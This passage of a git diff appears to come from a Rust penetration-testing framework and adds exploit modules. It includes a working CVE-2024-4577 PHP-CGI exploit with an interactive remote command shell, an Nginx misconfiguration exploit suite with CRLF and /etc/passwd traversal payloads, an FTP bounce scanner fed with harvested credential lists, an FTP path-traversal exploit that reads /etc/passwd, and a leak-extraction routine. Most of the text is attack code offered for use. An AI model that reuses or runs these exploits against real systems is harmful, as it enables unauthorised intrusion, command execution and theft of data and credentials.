// Connect with timeout
let mut stream = timeout(
Duration::from_secs(CONNECT_TIMEOUT_SECS),
TcpStream::connect(addr),
)
.await
.context("Connection timed out")??;
// Send data
stream.write_all(&header).await?;
stream.write_all(&payload).await?;
// Read response with timeout
let mut response = Vec::new();
let mut buf = [0u8; 4096];
let _ = timeout(Duration::from_secs(READ_TIMEOUT_SECS), async {
// First read
let n = stream.read(&mut buf).await?;
if n == 0 {
return Ok(());
}
response.extend_from_slice(&buf[..n]);
// Read remainder based on header length
while response.len() < 4
|| (response.len() >= 4
&& response.len()
< u32::from_le_bytes(response[0..4].try_into().unwrap_or([0, 0, 0, 0]))
as usize)
{
let n = stream.read(&mut buf).await?;
if n == 0 {
break;
}
response.extend_from_slice(&buf[..n]);
}
Ok::<(), anyhow::Error>(())
})
.await;
extract_leaks(&response)
}
/// Extract leaked data from response
fn extract_leaks(response: &[u8]) -> Result<Vec<Vec<u8>>> {
if response.len() < 25 {
return Ok(vec![]);
}
let opcode = u32::from_le_bytes(response[12..16].try_into().unwrap_or([0, 0, 0, 0]));
// Decompress if OP_COMPRESSED
let raw_data = if opcode == 2012 {
if response.len() > 25 {
let mut d = flate2::read::ZlibDecoder::new(&response[25..]);
let mut buffer = Vec::new();
if d.read_to_end(&mut buffer).is_ok() {
buffer
} else {
return Ok(vec![]);
}
} else {
return Ok(vec![]);
}
} else if response.len() > 16 {
response[16..].to_vec()
} else {
return Ok(vec![]);
};
let mut leaks = Vec::new();
// Search for "field name '...'" error pattern
let re_field = Regex::new(r"field name '([^']*)'")
.map_err(|e| anyhow::anyhow!("Regex error: {}", e))?;
for cap in re_field.captures_iter(&raw_data) {
if let Some(m) = cap.get(1) {
let data = m.as_bytes().to_vec();
// Filter common boring strings
if data != b"?" && data != b"a" && data != b"$db" && data != b"ping" {
leaks.push(data);
}
}
}
// Search for "type (\d+)" pattern
let re_type = Regex::new(r"type (\d+)")
.map_err(|e| anyhow::anyhow!("Regex error: {}", e))?;
for cap in re_type.captures_iter(&raw_data) {
if let Some(m) = cap.get(1) {
if let Ok(s) = std::str::from_utf8(m.as_bytes()) {
if let Ok(val) = s.parse::<u8>() {
leaks.push(vec![val]);
}
}
}
}
Ok(leaks)
}
@@ -0,0 +1 @@
pub mod nginx_pwner;
@@ -0,0 +1,364 @@
use anyhow::{Context, Result};
use colored::*;
use reqwest::{Client, StatusCode};
use std::fs::File;
use std::io::Write;
use std::time::Duration;
/// NginxPwner Exploit Suite
///
/// Ports functionality from https://github.com/stark0de/nginxpwner
/// Checks for common Nginx misconfigurations and vulnerabilities.
pub async fn run(target: &str) -> Result<()> {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ NginxPwner Exploit Suite ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!("{}", format!("[*] Target: {}", target).yellow());
// Normalize target
let target_url = crate::utils::normalize_target(target)?;
// Ensure no trailing slash for consistency in string building
let base_url = target_url.trim_end_matches('/');
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(10))
.redirect(reqwest::redirect::Policy::none()) // We want to inspect redirects manually sometimes
.build()
.context("Failed to build HTTP client")?;
let mut findings = Vec::new();
println!("{}", "[*] Starting scan...".cyan());
// 1. Version Check
check_version(&client, base_url, &mut findings).await;
// 2. CRLF Injection
check_crlf(&client, base_url, &mut findings).await;
// 3. PURGE Method
check_purge(&client, base_url, &mut findings).await;
// 4. Variable Leakage
check_variable_leak(&client, base_url, &mut findings).await;
// 5. Merge Slashes / Path Traversal
check_merge_slashes(&client, base_url, &mut findings).await;
// 6. Hop-by-Hop Header Bypass (IP Spoofing)
check_headers_bypass(&client, base_url, &mut findings).await;
// 7. CVE-2017-7529 (Integer Overflow)
check_integer_overflow(&client, base_url, &mut findings).await;
// 8. Alias Traversal (Kyubi logic)
check_alias_traversal(&client, base_url, &mut findings).await;
// 9. PHP Detection
check_php(&client, base_url, &mut findings).await;
// 10. X-Accel-Redirect Bypass
check_x_accel_redirect(&client, base_url, &mut findings).await;
// 11. Raw Backend Reading & Source Disclosure
check_raw_backend_reading(&client, base_url, &mut findings).await;
// 12. Manual Check Suggestions (Redis, etc)
print_manual_suggestions();
// Report Findings
println!("\n{}", "═══ Scan Results ═══".cyan().bold());
if findings.is_empty() {
println!("{}", "No significant vulnerabilities found.".green());
} else {
for finding in &findings {
println!("{}", finding);
}
// Save to file
save_results(target, &findings)?;
}
Ok(())
}
async fn check_version(client: &Client, url: &str, findings: &mut Vec<String>) {
if let Ok(resp) = client.get(url).send().await {
if let Some(server) = resp.headers().get("Server") {
if let Ok(s) = server.to_str() {
println!("[*] Server Header: {}", s.blue());
if s.contains('/') && s.chars().any(|c| c.is_numeric()) {
findings.push(format!("Version Disclosure: Server header reveals version '{}'. Check if outdated.", s));
}
}
}
}
}
async fn check_crlf(client: &Client, url: &str, findings: &mut Vec<String>) {
let payload = "%0d%0aDetectify:%20crlf";
let target = format!("{}/{}", url, payload);
if let Ok(resp) = client.get(&target).send().await {
if resp.headers().contains_key("Detectify") {
let msg = format!("CRLF Injection found! URI: {} reflects 'Detectify' header.", target);
println!("{}", format!("[!] {}", msg).red().bold());
findings.push(msg);
}
}
}
async fn check_purge(client: &Client, url: &str, findings: &mut Vec<String>) {
let target = format!("{}/test_purge", url);
let method = match reqwest::Method::from_bytes(b"PURGE") {
Ok(m) => m,
Err(_) => return,
};
if let Ok(resp) = client.request(method, &target).send().await {
if resp.status().as_u16() == 204 {
let msg = format!("PURGE method is enabled on {}. This might allow cache poisoning/clearing.", target);
println!("{}", format!("[!] {}", msg).red().bold());
findings.push(msg);
}
}
}
async fn check_variable_leak(client: &Client, url: &str, findings: &mut Vec<String>) {
let target = format!("{}/foo$http_referer", url);
let secret = "RUSTSPLOIT_SECRET_REF";
if let Ok(resp) = client.get(&target).header("Referer", secret).send().await {
if let Ok(text) = resp.text().await {
if text.contains(secret) {
let msg = format!("Variable Leakage: '$http_referer' is reflected in response from {}", target);
println!("{}", format!("[!] {}", msg).red().bold());
findings.push(msg);
}
}
}
}
async fn check_merge_slashes(client: &Client, url: &str, findings: &mut Vec<String>) {
// Check path traversal via merge_slashes bypass
let payloads = vec![
"///../../../../../etc/passwd",
"//////../../../../../../etc/passwd",
"///../../../../../win.ini",
];
for p in payloads {
let target = format!("{}{}", url, p);
if let Ok(resp) = client.get(&target).send().await {
if resp.status() == StatusCode::OK {
let msg = format!("Possible Path Traversal via merge_slashes bypass: {}", target);
println!("{}", format!("[!] {}", msg).red().bold());
findings.push(msg);
break;
}
}
}
}
async fn check_headers_bypass(client: &Client, url: &str, findings: &mut Vec<String>) {
let headers_list = vec![
"X-Forwarded-For", "X-Real-IP", "X-Originating-IP", "Client-IP", "X-Client-IP",
"Proxy-Host", "X-Forwarded", "X-Forwarded-By", "X-Forwarded-Host", "Base-Url", "Http-Url"
];
let ips = vec!["127.0.0.1", "localhost", "192.168.1.1", "10.0.0.1"];
let baseline = client.get(format!("{}/", url)).send().await;
let baseline_len = match baseline {
Ok(ref r) => r.content_length().unwrap_or(0),
Err(_) => return,
};
let baseline_status = match baseline {
Ok(ref r) => r.status(),
Err(_) => return,
};
for header in headers_list {
for ip in &ips {
if let Ok(resp) = client.get(format!("{}/", url)).header(header, *ip).send().await {
let len = resp.content_length().unwrap_or(0);
if resp.status() != baseline_status || (len as i64 - baseline_len as i64).abs() > 50 {
let msg = format!("Response difference detected with header {}: {}. Possible IP restriction bypass.", header, ip);
println!("{}", format!("[?] {}", msg).yellow());
findings.push(msg);
}
}
}
}
}
async fn check_integer_overflow(client: &Client, url: &str, findings: &mut Vec<String>) {
if let Ok(resp) = client.get(url).send().await {
let content_len = resp.content_length().unwrap_or(0);
if content_len > 0 {
let bytes_len = content_len + 623;
let range_val = format!("bytes=-{},-9223372036854{}", bytes_len, 776000 - (bytes_len as i64));
if let Ok(vuln_resp) = client.get(url).header("Range", range_val).send().await {
if vuln_resp.status() == StatusCode::PARTIAL_CONTENT || vuln_resp.headers().contains_key("Content-Range") {
let msg = format!("Vulnerable to CVE-2017-7529 (Integer Overflow). Target: {}", url);
println!("{}", format!("[!] {}", msg).red().bold());
findings.push(msg);
}
}
}
}
}
async fn check_alias_traversal(client: &Client, url: &str, findings: &mut Vec<String>) {
// "Off-by-slash" alias traversal
// We try common static paths and paths often found in Nginx configs.
let paths = vec![
"static", "assets", "img", "images", "js", "css", "media", "uploads", "icons", "public",
"conf", "backup", "db", "database", "admin", "private", "api", "download", "files"
];
for path in paths {
let traversal = format!("{}{}../", url, path);
if let Ok(resp) = client.get(&traversal).send().await {
if resp.status() == StatusCode::FORBIDDEN || resp.status() == StatusCode::OK {
// Eliminate false positives by comparing with 404
let garbage = format!("{}/garbage_{}", url, path);
let r404 = client.get(&garbage).send().await;
let r404_status = r404.map(|r| r.status()).unwrap_or(StatusCode::NOT_FOUND);
if resp.status() != r404_status {
let msg = format!("Possible Alias Traversal key found at: {}. Status: {}", traversal, resp.status());
println!("{}", format!("[?] {}", msg).yellow());
findings.push(msg);
}
}
}
}
}
async fn check_raw_backend_reading(client: &Client, url: &str, findings: &mut Vec<String>) {
// Test for Raw Backend Reading via specific verb/header
// Python script suggests: GET /? XTTP/1.1\nHost: 127.0.0.1\nConnection: close
// We try to look for Nginx Status or Source Disclosure as a proxy for this class of misconfig coverage.
// Check for Nginx Status
let status_paths = vec!["nginx_status", "stub_status", "status", "nginx-status"];
for p in status_paths {
if let Ok(resp) = client.get(format!("{}/{}", url, p)).send().await {
if resp.status() == StatusCode::OK {
if let Ok(text) = resp.text().await {
if text.contains("Active connections") || text.contains("server accepts handled requests") {
let msg = format!("Nginx Status information found at {}/{}", url, p);
println!("{}", format!("[!] {}", msg).red().bold());
findings.push(msg);
}
}
}
}
}
// Check if root reveals nginx.conf (Source Disclosure)
if let Ok(resp) = client.get(format!("{}/", url)).send().await {
if let Ok(text) = resp.text().await {
if text.contains("worker_processes") && text.contains("http {") {
let msg = format!("Root directory reveals nginx.conf content! Missing root directive?");
println!("{}", format!("[!] {}", msg).red().bold());
findings.push(msg);
}
}
}
}
async fn check_php(client: &Client, url: &str, findings: &mut Vec<String>) {
let mut is_php = false;
// Check 1: /index.php
if let Ok(resp) = client.get(format!("{}/index.php", url)).send().await {
if resp.status() == StatusCode::OK {
is_php = true;
}
}
// Check 2: Cookies and Headers
if let Ok(resp) = client.get(url).send().await {
if resp.headers().iter().any(|(k, v)| k == "set-cookie" && v.to_str().unwrap_or("").contains("PHPSESSID")) {
is_php = true;
}
if let Some(s) = resp.headers().get("Server") {
if s.to_str().unwrap_or("").to_lowercase().contains("php") {
is_php = true;
}
}
if let Some(x) = resp.headers().get("X-Powered-By") {
if x.to_str().unwrap_or("").to_lowercase().contains("php") {
is_php = true;
}
}
}
if is_php {
println!("{}", "[+] Target seems to be using PHP.".green());
findings.push("Technology Detection: PHP detected.".to_string());
println!("{}", "[?] If PHP is used, check for configuration errors: https://book.hacktricks.xyz/pentesting/pentesting-web/nginx#script_name".cyan());
println!("{}", "[?] Also check CVE-2019-11043.".cyan());
}
}
async fn check_x_accel_redirect(client: &Client, url: &str, findings: &mut Vec<String>) {
// We can't access "existingfolderpathlist" from logic easily as arg,
// so we use a common list of sensitive/likely protected paths to test bypass on.
let sensitive_paths = vec![
"admin", "private", "conf", "config", "backup", "db", "logs", "internal", "api", "console"
];
println!("{}", "[?] Testing X-Accel-Redirect bypass on common paths...".cyan());
for path in sensitive_paths {
let full_path = format!("{}/{}", url, path);
if let Ok(resp) = client.get(&full_path).send().await {
// If we get 401/403, we try to bypass
if resp.status() == StatusCode::FORBIDDEN || resp.status() == StatusCode::UNAUTHORIZED {
// Try X-Accel-Redirect
let bypass_header = format!("/{}", path);
let random_path = format!("{}/accel_bypass_test_rustsploit", url);
if let Ok(bypass) = client.get(&random_path).header("X-Accel-Redirect", bypass_header).send().await {
if bypass.status() != resp.status() && bypass.status().as_u16() < 400 {
let msg = format!("Possible X-Accel-Redirect bypass found! Path: {} returned {} directly, but {} with header.",
path, resp.status(), bypass.status());
println!("{}", format!("[!] {}", msg).red().bold());
findings.push(msg);
}
}
}
}
}
}
fn print_manual_suggestions() {
println!("\n{}", "[*] Manual Check Suggestions:".yellow().bold());
println!("{}", "1. Raw Backend Reading: Test with 'GET /? XTTP/1.1\\nHost: 127.0.0.1\\nConnection: close'".cyan());
println!("{}", "2. Redis: If site uses Redis, check for misconfigurations (see labs.detectify.com)".cyan());
println!("{}", "3. CORS: Check for bad regexes with Corsy.".cyan());
println!("{}", "4. Request Smuggling: Check for typical HTTP smuggling issues.".cyan());
}
fn save_results(target: &str, findings: &[String]) -> Result<()> {
// Sanitize target for filename
let safe_target = target.replace("http://", "").replace("https://", "").replace("/", "_").replace(":", "_");
let filename = format!("nginx_pwner_results_{}.txt", safe_target);
let mut file = File::create(&filename).context("Failed to create result file")?;
writeln!(file, "NginxPwner Scan Results for {}", target)?;
writeln!(file, "Timestamp: {}", chrono::Local::now())?;
writeln!(file, "----------------------------------------")?;
for f in findings {
writeln!(file, "{}", f)?;
}
println!("\n[+] Results saved to {}", filename.green());
Ok(())
}
@@ -0,0 +1,112 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::io::Write;
use std::time::Duration;
// use crate::utils::{normalize_target, prompt_yes_no}; // standard utils if available, mimicking other modules
/// PHP CGI Argument Injection (CVE-2024-4577)
/// Exploit for PHP running on Windows via XAMPP or similar setups.
///
/// Credits:
/// - Discovered by Orange Tsai
/// - PoC logic based on watchTowr Labs
const DEFAULT_TIMEOUT_SECS: u64 = 10;
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Normalize target
let url = if target.starts_with("http://") || target.starts_with("https://") {
target.to_string()
} else {
format!("http://{}", target)
};
let url = url.trim_end_matches('/');
println!("[*] Target: {}", url.cyan());
// Prompt for check or exploit
println!();
println!("{}", "[*] Select operation mode:".cyan());
println!(" 1. Check vulnerability (safe)");
println!(" 2. Execute command (RCE)");
println!();
print!("{}", "Select option [1-2]: ".green());
use std::io::Write;
std::io::stdout().flush()?;
let mut choice = String::new();
std::io::stdin().read_line(&mut choice)?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
match choice.trim() {
"1" => check_vuln(&client, url).await?,
"2" => exploit(&client, url).await?,
_ => println!("{}", "[-] Invalid option".red()),
}
Ok(())
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ PHP CGI Argument Injection (CVE-2024-4577) ║".cyan());
println!("{}", "║ Target: Windows PHP (XAMPP etc.) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
async fn check_vuln(client: &Client, url: &str) -> Result<()> {
println!("{}", "[*] Checking for vulnerability...".yellow());
// Simple echo check
let exploit_url = format!("{}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", url);
let payload = "<?php echo 'VULNERABLE_CVE_2024_4577'; die; ?>";
let resp = client.post(&exploit_url)
.body(payload)
.send()
.await?;
let text = resp.text().await?;
if text.contains("VULNERABLE_CVE_2024_4577") {
println!("{}", "[+] Target seems VULNERABLE!".green().bold());
Ok(())
} else {
println!("{}", "[-] Target does not appear vulnerable.".red());
Ok(())
}
}
async fn exploit(client: &Client, url: &str) -> Result<()> {
println!("{}", "[*] Entering RCE mode...".yellow());
loop {
print!("{}", "php> ".green().bold());
std::io::stdout().flush()?;
let mut cmd = String::new();
std::io::stdin().read_line(&mut cmd)?;
let cmd = cmd.trim();
if cmd.is_empty() { continue; }
if cmd == "exit" || cmd == "quit" { break; }
let exploit_url = format!("{}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", url);
// We use system() to execute command
let payload = format!("<?php system('{}'); die; ?>", cmd);
match client.post(&exploit_url).body(payload).send().await {
Ok(resp) => {
let text = resp.text().await?;
println!("{}", text);
}
Err(e) => println!("[-] Request failed: {}", e),
}
}
Ok(())
}
@@ -0,0 +1 @@
pub mod cve_2024_4577;
+267
View File
@@ -0,0 +1,267 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::tokio::AsyncFtpStream;
use suppaftp::Status;
use std::time::Duration;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use tokio::time::timeout;
use regex::Regex;
use crate::utils::{
prompt_existing_file, prompt_default, prompt_int_range,
load_lines
};
const DEFAULT_TIMEOUT_SECS: u64 = 8;
const CONNECT_TIMEOUT_MS: u64 = 4000;
struct FtpCreds {
ip: String,
port: u16,
user: String,
pass: String,
}
pub async fn run(target: &str) -> Result<()> {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Bounce Vulnerability Scanner ║".cyan());
println!("{}", "║ Tests for PORT command abuse (External/Internal) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
// Interactive Mode Check
let effective_target = if target.is_empty() || target == "interactive" || target == "load" {
println!("{}", "[*] Interactive Mode".cyan());
println!("[1] Load targets from file (supporting 'IP:PORT:USER:PASS')");
println!("[2] Scan single target");
let choice = prompt_int_range("Select mode", 1, 1, 2)?;
if choice == 1 {
let f = prompt_existing_file("Path to credentials file")?;
f
} else {
let t = prompt_default("Target (IP:PORT or IP:PORT:USER:PASS)", "")?;
t
}
} else {
target.to_string()
};
// Check if target is a file or single target
let targets = if std::path::Path::new(&effective_target).is_file() {
println!("{}", format!("[!] Parsing file '{}'", effective_target).yellow());
parse_ftp_results(&effective_target).await?
} else {
// Single target handling
parse_single_target(&effective_target)?
};
if targets.is_empty() {
return Err(anyhow!("No valid targets found."));
}
println!("{}", format!("[*] Loaded {} credential/target sets.", targets.len()).green());
let concurrency = prompt_int_range("Max concurrent checks", 50, 1, 500)? as usize;
let output_file = prompt_default("Output file for vulnerabilities", "ftp_bounce_results.txt")?;
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_vuln = Arc::new(AtomicUsize::new(0));
let total = targets.len();
// Stats loop
let s_checked = stats_checked.clone();
let s_vuln = stats_vuln.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(3)).await;
let checked = s_checked.load(Ordering::Relaxed);
let vuln = s_vuln.load(Ordering::Relaxed);
println!(
"[*] Progress: {}/{} checked, {} Vulnerable found",
checked, total, vuln.to_string().red().bold()
);
if checked >= total { break; }
}
});
// Run Scans
let mut tasks = Vec::new();
for target_creds in targets {
// Safe permit acquisition
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => break, // Check if semaphore closed
};
let sc = stats_checked.clone();
let sv = stats_vuln.clone();
let of = output_file.clone();
tasks.push(tokio::spawn(async move {
if check_bounce_vulnerability(&target_creds, &of).await {
sv.fetch_add(1, Ordering::Relaxed);
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
}));
}
// Wait all
for t in tasks {
let _ = t.await;
}
println!("\n{}", "[*] Scan Completed.".green().bold());
println!("[+] Results saved to {}", output_file.cyan());
Ok(())
}
fn parse_single_target(raw: &str) -> Result<Vec<FtpCreds>> {
// Attempt parse as "IP:PORT:USER:PASS" (optional prefix scan)
// Regex matches 4 groups separated by colons
let re_full = Regex::new(r"(?:\[\+\] FOUND:\s*)?([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
if let Some(caps) = re_full.captures(raw) {
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
let user = caps.get(3).map_or("", |m| m.as_str()).to_string();
let pass = caps.get(4).map_or("", |m| m.as_str()).to_string();
return Ok(vec![FtpCreds { ip, port, user, pass }]);
}
// Fallback: Just IP or IP:PORT, assumes anonymous
let (ip, port) = if raw.matches(':').count() == 1 {
let parts: Vec<&str> = raw.split(':').collect();
let p_val = parts.get(1).unwrap_or(&"21").parse().unwrap_or(21);
(parts[0].to_string(), p_val)
} else if !raw.contains(':') {
(raw.to_string(), 21)
} else {
// Ambiguous format, possibly IPv6? Ignore for now or treat as string
(raw.to_string(), 21)
};
// If it *looks* like an IP, return default creds
if !ip.is_empty() {
return Ok(vec![FtpCreds { ip, port, user: "anonymous".to_string(), pass: "anonymous".to_string() }]);
}
Err(anyhow!("Invalid target format. Expected IP:PORT:USER:PASS or IP/IP:PORT"))
}
async fn parse_ftp_results(path: &str) -> Result<Vec<FtpCreds>> {
let lines = load_lines(path)?;
let mut creds = Vec::new();
// Standard Format: IP:PORT:USER:PASS, optionally prefixed with "[+] FOUND: "
// We allow spaces around the prefix.
let re_std = Regex::new(r"(?:\[\+\] FOUND:\s*)?([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
// Legacy/Old formats support (optional but good for transitions)
// IP:PORT [ANONYMOUS...]
let re_anon_old = Regex::new(r"^([^:]+):(\d+)\s+\[ANONYMOUS").map_err(|e| anyhow!("Regex error: {}", e))?;
for line in lines {
if let Some(caps) = re_std.captures(&line) {
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
let user = caps.get(3).map_or("", |m| m.as_str()).to_string();
let pass = caps.get(4).map_or("", |m| m.as_str()).to_string();
creds.push(FtpCreds { ip, port, user, pass });
} else if let Some(caps) = re_anon_old.captures(&line) {
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
creds.push(FtpCreds { ip, port, user: "anonymous".to_string(), pass: "anonymous".to_string() });
}
}
Ok(creds)
}
async fn check_bounce_vulnerability(creds: &FtpCreds, output_file: &str) -> bool {
let addr = format!("{}:{}", creds.ip, creds.port);
// Connect
let mut ftp = match timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(f)) => f,
_ => return false,
};
// Login
if ftp.login(&creds.user, &creds.pass).await.is_err() {
return false;
}
// Set Checks
let mut is_vuln = false;
let mut ext_vuln = false;
let mut int_vuln = false;
// Test 1: External Bounce (Google DNS 8.8.8.8:53)
// PORT command format: h1,h2,h3,h4,p1,p2
let ext_test = "PORT 8,8,8,8,0,53";
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), ftp.custom_command(ext_test, &[Status::CommandOk])).await {
Ok(Ok(resp)) => {
// Check for 200 OK
if (resp.status as u32) == 200 {
ext_vuln = true;
is_vuln = true;
}
},
_ => {}
}
// Test 2: Internal Bounce (Common Gateways)
// 192.168.1.1:80 => 192,168,1,1,0,80
// 10.0.0.1:80 => 10,0,0,1,0,80
// We try a few. If ANY work, we flag it.
let int_tests = vec![
"PORT 192,168,1,1,0,80",
"PORT 10,0,0,1,0,80",
"PORT 172,16,0,1,0,80",
"PORT 127,0,0,1,0,22" // Bounce to self?
];
for cmd in int_tests {
if timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), ftp.custom_command(cmd, &[Status::CommandOk])).await
.ok()
.and_then(|r| r.ok())
.map(|r| (r.status as u32) == 200)
.unwrap_or(false)
{
int_vuln = true;
is_vuln = true;
break;
}
}
let _ = ftp.quit().await;
if is_vuln {
let msg = format!(
"{} -> {}:{} [VULNERABLE] [Ext Bounce: {}] [Int Bounce: {}]",
addr, creds.user, creds.pass,
if ext_vuln { "YES".red().bold() } else { "NO".dimmed() },
if int_vuln { "YES".red().bold() } else { "NO".dimmed() }
);
println!("\r[+] Found: {}", msg);
let file_log = format!("{} -> {}:{} [VULNERABLE] [Ext Bounce: {}] [Int Bounce: {}]\n",
addr, creds.user, creds.pass,
if ext_vuln { "YES" } else { "NO" },
if int_vuln { "YES" } else { "NO" });
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(output_file).await {
let _ = file.write_all(file_log.as_bytes()).await;
}
}
is_vuln
}
+1
View File
@@ -1 +1,2 @@
pub mod pachev_ftp_path_traversal_1_0;
pub mod ftp_bounce_test;
@@ -1,8 +1,7 @@
use anyhow::{anyhow, Result};
use ftp::FtpStream;
use std::net::ToSocketAddrs;
use anyhow::{anyhow, Result, Context};
use suppaftp::FtpStream;
use std::fs::{File, OpenOptions};
use std::io::{self, copy, BufRead, BufReader, Write};
use std::io::{BufRead, BufReader, Write};
use std::path::Path;
use tokio::task;
use tokio::sync::Semaphore;
@@ -11,6 +10,7 @@ use colored::*; // // Colorful output
use std::time::Duration;
use tokio::time::timeout;
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
@@ -35,12 +35,8 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
// Resolve address with better error handling
let socket_addr = addr.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
let mut ftp = FtpStream::connect(socket_addr)
// Connect to FTP server
let mut ftp = FtpStream::connect(&addr)
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
@@ -48,15 +44,19 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
.into_inner();
let mut reader = std::io::Cursor::new(reader);
let safe_name = target.replace(['[', ']', ':'], "_");
let out_file = format!("{}_passwd.txt", safe_name);
let mut file = File::create(&out_file)?;
copy(&mut reader, &mut file)?;
ftp.retr("../../../../../../../../etc/passwd", |reader| -> Result<(), suppaftp::FtpError> {
std::io::copy(reader, &mut file)
.map_err(|e| suppaftp::FtpError::ConnectionError(std::io::Error::new(
std::io::ErrorKind::Other,
format!("Failed to write file: {}", e)
)))?;
Ok(())
})
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?;
ftp.quit().ok();
@@ -81,9 +81,13 @@ pub async fn run(target: &str) -> Result<()> {
let target = target.to_string(); // // Own target early to avoid lifetime issues
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
io::stdout().flush()?;
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut port_input = String::new();
io::stdin().read_line(&mut port_input)?;
std::io::stdin()
.read_line(&mut port_input)
.context("Failed to read port")?;
let port_input = port_input.trim();
let port = if port_input.is_empty() {
21
@@ -92,16 +96,24 @@ pub async fn run(target: &str) -> Result<()> {
};
print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
io::stdout().flush()?;
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut use_list = String::new();
io::stdin().read_line(&mut use_list)?;
std::io::stdin()
.read_line(&mut use_list)
.context("Failed to read list choice")?;
let use_list = use_list.trim().to_lowercase();
if use_list == "yes" || use_list == "y" {
print!("{}", "Enter path to the IP list file: ".cyan().bold());
io::stdout().flush()?;
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut path = String::new();
io::stdin().read_line(&mut path)?;
std::io::stdin()
.read_line(&mut path)
.context("Failed to read file path")?;
let path = path.trim();
if !Path::new(path).exists() {
-174
View File
@@ -1,174 +0,0 @@
use anyhow::{Context, Result};
use std::fs::File;
use std::io::Write;
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
/// Entry point for dispatcher uses default port 443
pub async fn run(target: &str) -> Result<()> {
run_with_port(target, 443).await
}
/// Full Heartbleed scanner with user-defined port (used internally)
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
// 1) Trim whitespace and strip _all_ bracket layers:
let raw = target.trim();
let stripped = raw
.trim_start_matches('[')
.trim_end_matches(']');
// 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
let host = if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
// 3) Build the addr string with port:
let addr = format!("{}:{}", host, port);
println!("[*] Connecting to {}...", addr);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
println!("[-] Connection to {} failed: {}", socket_addr, e);
return Ok(());
}
Err(_) => {
println!("[-] Connection to {} timed out", socket_addr);
return Ok(());
}
};
println!("[*] Sending Client Hello...");
stream.write_all(&build_client_hello()).await?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {}
Ok(Ok(_)) => {
println!("[-] No response to Client Hello");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (Client Hello response)");
return Ok(());
}
}
println!("[*] Sending Heartbeat...");
stream.write_all(&build_heartbeat_request(0x4000)).await?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
let n = match read_result {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => {
println!("[-] No heartbeat response.");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
